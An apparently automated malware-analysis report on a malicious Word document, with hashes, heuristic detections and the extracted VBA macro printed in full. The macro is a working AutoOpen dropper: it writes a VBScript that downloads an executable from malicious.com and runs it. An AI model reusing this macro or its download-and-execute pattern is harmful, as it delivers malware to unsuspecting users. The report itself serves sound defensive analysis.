Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e95d52921f2c0518…

MALICIOUS

Office (OOXML)

18.7 KB Created: 2021-01-31 18:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-18
MD5: 3cf9d98dd8ea13fd1428861f9e80af0a SHA-1: 8974227ed8318c2e19ce566464a1d49ac9111b0c SHA-256: e95d52921f2c051833864d562a9dcf0c87352d786f7bf4fe7c0c86d77777fc30
430 Risk Score

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell ("wscript " & fhUDshfk)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Print #bcvdHFDsj, "Set WshShell = WScript.CreateObject(""WScript.Shell"")"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            Print #bcvdHFDsj, "        .write xHttp.responseBody"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Print #bcvdHFDsj, "    dim xHttp: Set xHttp = createobject(""Microsoft.XMLHTTP"")"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://malicious.com/filemanager.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1531 bytes
SHA-256: c36651c348833dd76a683644ba089039c240b7b82f9de0173b24217361304da9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    Dim fhUDshfk As String
    Dim bcvdHFDsj As Integer
    bcvdHFDsj = FreeFile()
    fhUDshfk = "C:\\Users\\Public\\getfonts.vbs"
    Open fhUDshfk For Output As bcvdHFDsj
        Print #bcvdHFDsj, "Sub HTTPDownload( myURL, myPath )"
        Print #bcvdHFDsj, "    dim xHttp: Set xHttp = createobject(""Microsoft.XMLHTTP"")"
        Print #bcvdHFDsj, "    dim bStrm: Set bStrm = createobject(""Adodb.Stream"")"
        Print #bcvdHFDsj, "    xHttp.Open ""GET"", myURL, False"
        Print #bcvdHFDsj, "    xHttp.Send"
        Print #bcvdHFDsj, "    with bStrm"
        Print #bcvdHFDsj, "        .type = 1"
        Print #bcvdHFDsj, "        .open"
        Print #bcvdHFDsj, "        .write xHttp.responseBody"
        Print #bcvdHFDsj, "        .savetofile myPath, 2"
        Print #bcvdHFDsj, "    end with"
        Print #bcvdHFDsj, "End Sub"
        Print #bcvdHFDsj, "HTTPDownload ""http://malicious.com/filemanager.exe"", ""C:\\Users\\Public\\filemanager.exe"""
        Print #bcvdHFDsj, "Set WshShell = WScript.CreateObject(""WScript.Shell"")"
        Print #bcvdHFDsj, "WshShell.Run ""C:\\Users\\Public\\filemanager.exe"""
        
    Close bcvdHFDsj
    Shell ("wscript " & fhUDshfk)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 68a14dcb51670549fc4c91b8e79955b6101a0523e71b3569de2d45b94867cdca
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely